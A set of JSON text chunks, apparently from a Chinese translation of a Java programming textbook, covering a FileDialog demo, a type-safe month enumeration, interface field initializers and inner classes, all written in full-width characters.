    {"text": "ｄ．ｓｈｏｗ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＴｏｅＴｅｓｔＮｅｗ（）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "／／： ＦｉｌｅＤｉａｌｏｇＮｅｗ．ｊａｖａ ４２９ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ Ｆｉｌｅ ｄｉａｌｏｇ ｂｏｘｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｌｅＤｉａｌｏｇＮｅｗ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＴｅｘｔＦｉｅｌｄ ｆｉｌｅｎａｍｅ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（）； ＴｅｘｔＦｉｅｌｄ ｄｉｒｅｃｔｏｒｙ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（）； Ｂｕｔｔｏｎ ｏｐｅｎ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｏｐｅｎ＂）； Ｂｕｔｔｏｎ ｓａｖｅ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓａｖｅ＂）； ｐｕｂｌｉｃ ＦｉｌｅＤｉａｌｏｇＮｅｗ（） ｛ ｓｅｔＴｉｔｌｅ（＂Ｆｉｌｅ Ｄｉａｌｏｇ Ｔｅｓｔ＂）； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｏｐｅｎ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｐｅｎＬ（））； ｐ．ａｄｄ（ｏｐｅｎ）； ｓａｖｅ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳａｖｅＬ（））； ｐ．ａｄｄ（ｓａｖｅ）； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＳＯＵＴＨ）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｉｌｅｎａｍｅ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，１））； ｐ．ａｄｄ（ｆｉｌｅｎａｍｅ）； ｐ．ａｄｄ（ｄｉｒｅｃｔｏｒｙ）； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）；"},
    {"text": "｝ ｃｌａｓｓ ＯｐｅｎＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ／／ Ｔｗｏ ａｒｇｕｍｅｎｔｓ， ｄｅｆａｕｌｔｓ ｔｏ ｏｐｅｎ ｆｉｌｅ： ＦｉｌｅＤｉａｌｏｇ ｄ ＝ ｎｅｗ ＦｉｌｅＤｉａｌｏｇ（ ＦｉｌｅＤｉａｌｏｇＮｅｗ．ｔｈｉｓ， ＂Ｗｈａｔ ｆｉｌｅ ｄｏ ｙｏｕ ｗａｎｔ ｔｏ ｏｐｅｎ？"},
    {"text": "ｄ．ｓｅｔＦｉｌｅ（＂＊．ｊａｖａ＂）； ｄ．ｓｅｔＤｉｒｅｃｔｏｒｙ（＂．＂）； ／／ Ｃｕｒｒｅｎｔ ｄｉｒｅｃｔｏｒｙ ｄ．ｓｈｏｗ（）； Ｓｔｒｉｎｇ ｙｏｕｒＦｉｌｅ ＝ ＂＊．＊＂； ｉｆ（（ｙｏｕｒＦｉｌｅ ＝ ｄ．ｇｅｔＦｉｌｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（ｙｏｕｒＦｉｌｅ）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（ｄ．ｇｅｔＤｉｒｅｃｔｏｒｙ（））； ｝ ｅｌｓｅ ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（＂Ｙｏｕ ｐｒｅｓｓｅｄ ｃａｎｃｅｌ＂）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（＂＂）； ｝ ｝ ｝ ｃｌａｓｓ ＳａｖｅＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＦｉｌｅＤｉａｌｏｇ ｄ ＝ ｎｅｗ ＦｉｌｅＤｉａｌｏｇ（ ＦｉｌｅＤｉａｌｏｇＮｅｗ．ｔｈｉｓ， ＂Ｗｈａｔ ｆｉｌｅ ｄｏ ｙｏｕ ｗａｎｔ ｔｏ ｓａｖｅ？ ＂， ＦｉｌｅＤｉａｌｏｇ．ＳＡＶＥ）； ｄ．ｓｅｔＦｉｌｅ（＂＊．ｊａｖａ＂）； ４３０ ｄ．ｓｅｔＤｉｒｅｃｔｏｒｙ（＂．＂）； ｄ．ｓｈｏｗ（）； Ｓｔｒｉｎｇ ｓａｖｅＦｉｌｅ； ｉｆ（（ｓａｖｅＦｉｌｅ ＝ ｄ．ｇｅｔＦｉｌｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（ｓａｖｅＦｉｌｅ）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（ｄ．ｇｅｔＤｉｒｅｃｔｏｒｙ（））； ｝ ｅｌｓｅ ｛ ｆｉｌｅｎａｍｅ．ｓｅｔＴｅｘｔ（＂Ｙｏｕ ｐｒｅｓｓｅｄ ｃａｎｃｅｌ＂）； ｄｉｒｅｃｔｏｒｙ．ｓｅｔＴｅｘｔ（＂＂）；"},
    {"text": "如确实不想放弃额外的类型安全性，可构建象下面这样的一个类（注释①）： ／／： Ｍｏｎｔｈ２．ｊａｖａ ／／ Ａ ｍｏｒｅ ｒｏｂｕｓｔ ｅｎｕｍｅｒａｔｉｏｎ ｓｙｓｔｅｍ ｐａｃｋａｇｅ ｃ０７；"},
    {"text": "ｐｕｂｌｉｃ ｆｉｎａｌ ｃｌａｓｓ Ｍｏｎｔｈ２ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｎａｍｅ； ｐｒｉｖａｔｅ Ｍｏｎｔｈ２（Ｓｔｒｉｎｇ ｎｍ） ｛ ｎａｍｅ ＝ ｎｍ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｎａｍｅ； ｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ Ｍｏｎｔｈ２ ＪＡＮ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｊａｎｕａｒｙ＂）， ＦＥＢ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｆｅｂｒｕａｒｙ＂）， ＭＡＲ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｍａｒｃｈ＂）， ＡＰＲ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ａｐｒｉｌ＂）， ＭＡＹ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｍａｙ＂）， ＪＵＮ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｊｕｎｅ＂）， ＪＵＬ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｊｕｌｙ＂）， ＡＵＧ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ａｕｇｕｓｔ＂）， ＳＥＰ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｓｅｐｔｅｍｂｅｒ＂）， ＯＣＴ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｏｃｔｏｂｅｒ＂）， ＮＯＶ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｎｏｖｅｍｂｅｒ＂）， ＤＥＣ ＝ ｎｅｗ Ｍｏｎｔｈ２（＂Ｄｅｃｅｍｂｅｒ＂）； ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ Ｍｏｎｔｈ２［］ ｍｏｎｔｈ ＝ ｛ ＪＡＮ， ＪＡＮ， ＦＥＢ， ＭＡＲ， ＡＰＲ， ＭＡＹ， ＪＵＮ， ＪＵＬ， ＡＵＧ， ＳＥＰ， ＯＣＴ， ＮＯＶ， ＤＥＣ ｝； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ １７７ Ｍｏｎｔｈ２ ｍ ＝ Ｍｏｎｔｈ２．ＪＡＮ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍ）； ｍ ＝ Ｍｏｎｔｈ２．ｍｏｎｔｈ［１２］； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍ ＝＝ Ｍｏｎｔｈ２．ＤＥＣ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｍ．ｅｑｕａｌｓ（Ｍｏｎｔｈ２．ＤＥＣ））；"},
    {"text": "它是一个 ｆｉｎａｌ 类，并含有一个 ｐｒｉｖａｔｅ 构建 器，所以没有人能从它继承，或制作它的一个实例。 唯一的实例就是那些 ｆｉｎａｌ ｓｔａｔｉｃ 对象，它们是在类本 身内部创建的，包括：ＪＡＮ，ＦＥＢ，ＭＡＲ 等等。"},
    {"text": "这些对象也在 ｍｏｎｔｈ 数组中使用，后者让我们能够按数字挑选 月份，而不是按名字（注意数组中提供了一个多余的 ＪＡＮ，使偏移量增加了 １，也使 Ｄｅｃｅｍｂｅｒ 确实成为 １２ 月）。"},
    {"text": "在 前面的 Ｍｏｎｔｈｓ．ｊａｖａ 例子中，只提供了 ｉｎｔ 值，所以本来想用来代表一个月份的 ｉｎｔ 变量可能实际获得一个 整数值，那样做可能不十分安全。"},
    {"text": "例如： ／／： ＲａｎｄＶａｌｓ．ｊａｖａ ／／ Ｉｎｉｔｉａｌｉｚｉｎｇ ｉｎｔｅｒｆａｃｅ ｆｉｅｌｄｓ ｗｉｔｈ ／／ ｎｏｎ－ｃｏｎｓｔａｎｔ ｉｎｉｔｉａｌｉｚｅｒｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｉｎｔｅｒｆａｃｅ ＲａｎｄＶａｌｓ ｛ ｉｎｔ ｒｉｎｔ ＝ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １０）； ｌｏｎｇ ｒｌｏｎｇ ＝ （ｌｏｎｇ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １０）； ｆｌｏａｔ ｒｆｌｏａｔ ＝ （ｆｌｏａｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １０）； ｄｏｕｂｌｅ ｒｄｏｕｂｌｅ ＝ Ｍａｔｈ．ｒａｎｄｏｍ（） ＊ １０；"},
    {"text": "下面是一个 简单的测试： ／／： ＴｅｓｔＲａｎｄＶａｌｓ．ｊａｖａ ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｓｔＲａｎｄＶａｌｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ＲａｎｄＶａｌｓ．ｒｉｎｔ）；"},
    {"text": "Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ＲａｎｄＶａｌｓ．ｒｌｏｎｇ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ＲａｎｄＶａｌｓ．ｒｆｌｏａｔ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ＲａｎｄＶａｌｓ．ｒｄｏｕｂｌｅ）；"},
    {"text": "１７８ ７ ． ６ 内部类 在 Ｊａｖａ １．１ 中，可将一个类定义置入另一个类定义中。 这就叫作“内部类”。 内部类对我们非常有用，因为 利用它可对那些逻辑上相互联系的类进行分组，并可控制一个类在另一个类里的“可见性”。"},
    {"text": "创建内部类的过程是平淡无奇的：将类定义置入一个用于封装它的类内部（若执行这个程序遇到麻烦，请参 见第 ３ 章的 ３．１．２ 小节“赋值”）： ／／： Ｐａｒｃｅｌ１．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ｉｎｎｅｒ ｃｌａｓｓｅｓ ｐａｃｋａｇｅ ｃ０７．ｐａｒｃｅｌ１；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ１ ｛ ｃｌａｓｓ Ｃｏｎｔｅｎｔｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１； ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｝ ｃｌａｓｓ Ｄｅｓｔｉｎａｔｉｏｎ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ； Ｄｅｓｔｉｎａｔｉｏｎ（Ｓｔｒｉｎｇ ｗｈｅｒｅＴｏ） ｛ ｌａｂｅｌ ＝ ｗｈｅｒｅＴｏ； ｝ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ； ｝ ｝ ／／ Ｕｓｉｎｇ ｉｎｎｅｒ ｃｌａｓｓｅｓ ｌｏｏｋｓ ｊｕｓｔ ｌｉｋｅ ／／ ｕｓｉｎｇ ａｎｙ ｏｔｈｅｒ ｃｌａｓｓ， ｗｉｔｈｉｎ Ｐａｒｃｅｌ１： ｐｕｂｌｉｃ ｖｏｉｄ ｓｈｉｐ（Ｓｔｒｉｎｇ ｄｅｓｔ） ｛ Ｃｏｎｔｅｎｔｓ ｃ ＝ ｎｅｗ Ｃｏｎｔｅｎｔｓ（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｎｅｗ Ｄｅｓｔｉｎａｔｉｏｎ（ｄｅｓｔ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ１ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ１（）； ｐ．ｓｈｉｐ（＂Ｔａｎｚａｎｉａ＂）；"},
    {"text": "就象下面这样： ／／： Ｐａｒｃｅｌ２．ｊａｖａ ／／ Ｒｅｔｕｒｎｉｎｇ ａ ｈａｎｄｌｅ ｔｏ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｐａｃｋａｇｅ ｃ０７．ｐａｒｃｅｌ２；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ２ ｛ ｃｌａｓｓ Ｃｏｎｔｅｎｔｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１； ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｝ ｃｌａｓｓ Ｄｅｓｔｉｎａｔｉｏｎ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ； １７９ Ｄｅｓｔｉｎａｔｉｏｎ（Ｓｔｒｉｎｇ ｗｈｅｒｅＴｏ） ｛ ｌａｂｅｌ ＝ ｗｈｅｒｅＴｏ； ｝ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ； ｝ ｝ ｐｕｂｌｉｃ Ｄｅｓｔｉｎａｔｉｏｎ ｔｏ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｄｅｓｔｉｎａｔｉｏｎ（ｓ）； ｝ ｐｕｂｌｉｃ Ｃｏｎｔｅｎｔｓ ｃｏｎｔ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｃｏｎｔｅｎｔｓ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｈｉｐ（Ｓｔｒｉｎｇ ｄｅｓｔ） ｛ Ｃｏｎｔｅｎｔｓ ｃ ＝ ｃｏｎｔ（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｔｏ（ｄｅｓｔ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ２ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ２（）； ｐ．ｓｈｉｐ（＂Ｔａｎｚａｎｉａ＂）； Ｐａｒｃｅｌ２ ｑ ＝ ｎｅｗ Ｐａｒｃｅｌ２（）； ／／ Ｄｅｆｉｎｉｎｇ ｈａｎｄｌｅｓ ｔｏ ｉｎｎｅｒ ｃｌａｓｓｅｓ： Ｐａｒｃｅｌ２．Ｃｏｎｔｅｎｔｓ ｃ ＝ ｑ．ｃｏｎｔ（）； Ｐａｒｃｅｌ２．Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｑ．ｔｏ（＂Ｂｏｒｎｅｏ＂）；"},
    {"text": "｝ ｝ ／／／：￣ 若想在除外部类非 ｓｔａｔｉｃ 方法内部之外的任何地方生成内部类的一个对象，必须将那个对象的类型设为“外 部类名．内部类名”，就象 ｍａｉｎ（）中展示的那样。"},
    {"text": "然而，当我们准备上溯造型到一个基础类（特别是到一个接口）的时候，内部类就开始发挥其关键作用（从 用于实现的对象生成一个接口句柄具有与上溯造型至一个基础类相同的效果）。"},
    {"text": "就象下面这样： ／／： Ｐａｒｃｅｌ３．ｊａｖａ ／／ Ｒｅｔｕｒｎｉｎｇ ａ ｈａｎｄｌｅ ｔｏ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｐａｃｋａｇｅ ｃ０７．ｐａｒｃｅｌ３； ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｃｏｎｔｅｎｔｓ ｛ ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（）； ｝ ｉｎｔｅｒｆａｃｅ Ｄｅｓｔｉｎａｔｉｏｎ ｛ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（）； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ３ ｛ ｐｒｉｖａｔｅ ｃｌａｓｓ ＰＣｏｎｔｅｎｔｓ ｅｘｔｅｎｄｓ Ｃｏｎｔｅｎｔｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１； ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ １８０ ｝ ｐｒｏｔｅｃｔｅｄ ｃｌａｓｓ ＰＤｅｓｔｉｎａｔｉｏｎ ｉｍｐｌｅｍｅｎｔｓ Ｄｅｓｔｉｎａｔｉｏｎ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ； ｐｒｉｖａｔｅ ＰＤｅｓｔｉｎａｔｉｏｎ（Ｓｔｒｉｎｇ ｗｈｅｒｅＴｏ） ｛ ｌａｂｅｌ ＝ ｗｈｅｒｅＴｏ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ； ｝ ｝ ｐｕｂｌｉｃ Ｄｅｓｔｉｎａｔｉｏｎ ｄｅｓｔ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ ｎｅｗ ＰＤｅｓｔｉｎａｔｉｏｎ（ｓ）； ｝ ｐｕｂｌｉｃ Ｃｏｎｔｅｎｔｓ ｃｏｎｔ（） ｛ ｒｅｔｕｒｎ ｎｅｗ ＰＣｏｎｔｅｎｔｓ（）； ｝ ｝ ｃｌａｓｓ Ｔｅｓｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ３ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ３（）； Ｃｏｎｔｅｎｔｓ ｃ ＝ ｐ．ｃｏｎｔ（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｐ．ｄｅｓｔ（＂Ｔａｎｚａｎｉａ＂）； ／／ Ｉｌｌｅｇａｌ －－ ｃａｎ＇ｔ ａｃｃｅｓｓ ｐｒｉｖａｔｅ ｃｌａｓｓ： ／／！ Ｐａｒｃｅｌ３．ＰＣｏｎｔｅｎｔｓ ｃ ＝ ｐ．ｎｅｗ ＰＣｏｎｔｅｎｔｓ（）；"},
    {"text": "｝ ｝ ／／／：￣ 现在，Ｃｏｎｔｅｎｔｓ 和 Ｄｅｓｔｉｎａｔｉｏｎ 代表可由客户程序员使用的接口（记住接口会将自己的所有成员都变成 ｐｕｂｌｉｃ 属性）。"},
    {"text": "在 Ｐａｒｃｅｌ３ 中，一些新东西已经加入：内部类 ＰＣｏｎｔｅｎｔｓ 被设为 ｐｒｉｖａｔｅ，所以除了 Ｐａｒｃｅｌ３ 之外，其他任 何东西都不能访问它。 ＰＤｅｓｔｉｎａｔｉｏｎ 被设为 ｐｒｏｔｅｃｔｅｄ，所以除了 Ｐａｒｃｅｌ３，Ｐａｒｃｅｌ３ 包内的类（因为 ｐｒｏｔｅｃｔｅｄ 也为包赋予了访问权； 也就是说，ｐｒｏｔｅｃｔｅｄ 也是“友好的”），以及 Ｐａｒｃｅｌ３ 的继承者之外，其 他任何东西都不能访问 ＰＤｅｓｔｉｎａｔｉｏｎ。"},
    {"text": "事实 上，我们甚至不能下溯造型到一个 ｐｒｉｖａｔｅ 内部类（或者一个 ｐｒｏｔｅｃｔｅｄ 内部类，除非自己本身便是一个继 承者），因为我们不能访问名字，就象在 ｃｌａｓｓＴｅｓｔ 里看到的那样。"},
    {"text": "在下面这个例子里，将修改前面的代码，以便使用： （１） 在一个方法内定义的类 １８１ （２） 在方法的一个作用域内定义的类 （３） 一个匿名类，用于实现一个接口 （４） 一个匿名类，用于扩展拥有非默认构建器的一个类 （５） 一个匿名类，用于执行字段初始化 （６） 一个匿名类，通过实例初始化进行构建（匿名内部类不可拥有构建器） 所有这些都在 ｉｎｎｅｒｓｃｏｐｅｓ 包内发生。"},
    {"text": "首先，来自前述代码的通用接口会在它们自己的文件里获得定义，使 它们能在所有的例子里使用： ／／： Ｄｅｓｔｉｎａｔｉｏｎ．ｊａｖａ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "｝ ／／／：￣ 由于我们已认为 Ｃｏｎｔｅｎｔｓ 可能是一个抽象类，所以可采取下面这种更自然的形式，就象一个接口那样： ／／： Ｃｏｎｔｅｎｔｓ．ｊａｖａ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "｝ ／／／：￣ 尽管是含有具体实施细节的一个普通类，但 Ｗｒａｐｐｉｎｇ 也作为它所有衍生类的一个通用“接口”使用： ／／： Ｗｒａｐｐｉｎｇ．ｊａｖａ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｗｒａｐｐｉｎｇ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｕｂｌｉｃ Ｗｒａｐｐｉｎｇ（ｉｎｔ ｘ） ｛ ｉ ＝ ｘ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ；"},
    {"text": "第一个例子展示了如何在一个方法的作用域（而不是另一个类的作用域）中创建一个完整的类： ／／： Ｐａｒｃｅｌ４．ｊａｖａ ／／ Ｎｅｓｔｉｎｇ ａ ｃｌａｓｓ ｗｉｔｈｉｎ ａ ｍｅｔｈｏｄ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ４ ｛ ｐｕｂｌｉｃ Ｄｅｓｔｉｎａｔｉｏｎ ｄｅｓｔ（Ｓｔｒｉｎｇ ｓ） ｛ ｃｌａｓｓ ＰＤｅｓｔｉｎａｔｉｏｎ ｉｍｐｌｅｍｅｎｔｓ Ｄｅｓｔｉｎａｔｉｏｎ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ； ｐｒｉｖａｔｅ ＰＤｅｓｔｉｎａｔｉｏｎ（Ｓｔｒｉｎｇ ｗｈｅｒｅＴｏ） ｛ ｌａｂｅｌ ＝ ｗｈｅｒｅＴｏ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ； ｝ １８２ ｝ ｒｅｔｕｒｎ ｎｅｗ ＰＤｅｓｔｉｎａｔｉｏｎ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ４ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ４（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｐ．ｄｅｓｔ（＂Ｔａｎｚａｎｉａ＂）；"},
    {"text": "｝ ｝ ／／／：￣ ＰＤｅｓｔｉｎａｔｉｏｎ 类属于 ｄｅｓｔ（）的一部分，而不是 Ｐａｒｃｅｌ４ 的一部分（同时注意可为相同目录内每个类内部的一 个内部类使用类标识符 ＰＤｅｓｔｉｎａｔｉｏｎ，这样做不会发生命名的冲突）。"},
    {"text": "请注意在返回语句中发生的上溯造型——除了指向基础类 Ｄｅｓｔｉｎａｔｉｏｎ 的一个句柄之外，没有 任何东西超出 ｄｅｓｔ（）的边界之外。"},
    {"text": "当然，不能由于类 ＰＤｅｓｔｉｎａｔｉｏｎ 的名字置于 ｄｅｓｔ（）内部，就认为在 ｄｅｓｔ（）返回之后 ＰＤｅｓｔｉｎａｔｉｏｎ 不是一个有效的对象。"},
    {"text": "下面这个例子展示了如何在任意作用域内嵌套一个内部类： ／／： Ｐａｒｃｅｌ５．ｊａｖａ ／／ Ｎｅｓｔｉｎｇ ａ ｃｌａｓｓ ｗｉｔｈｉｎ ａ ｓｃｏｐｅ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ５ ｛ ｐｒｉｖａｔｅ ｖｏｉｄ ｉｎｔｅｒｎａｌＴｒａｃｋｉｎｇ（ｂｏｏｌｅａｎ ｂ） ｛ ｉｆ（ｂ） ｛ ｃｌａｓｓ ＴｒａｃｋｉｎｇＳｌｉｐ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｉｄ； ＴｒａｃｋｉｎｇＳｌｉｐ（Ｓｔｒｉｎｇ ｓ） ｛ ｉｄ ＝ ｓ； ｝ Ｓｔｒｉｎｇ ｇｅｔＳｌｉｐ（） ｛ ｒｅｔｕｒｎ ｉｄ； ｝ ｝ ＴｒａｃｋｉｎｇＳｌｉｐ ｔｓ ＝ ｎｅｗ ＴｒａｃｋｉｎｇＳｌｉｐ（＂ｓｌｉｐ＂）； Ｓｔｒｉｎｇ ｓ ＝ ｔｓ．ｇｅｔＳｌｉｐ（）； ｝ ／／ Ｃａｎ＇ｔ ｕｓｅ ｉｔ ｈｅｒｅ！ Ｏｕｔ ｏｆ ｓｃｏｐｅ： ／／！ ＴｒａｃｋｉｎｇＳｌｉｐ ｔｓ ＝ ｎｅｗ ＴｒａｃｋｉｎｇＳｌｉｐ（＂ｘ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｔｒａｃｋ（） ｛ ｉｎｔｅｒｎａｌＴｒａｃｋｉｎｇ（ｔｒｕｅ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ 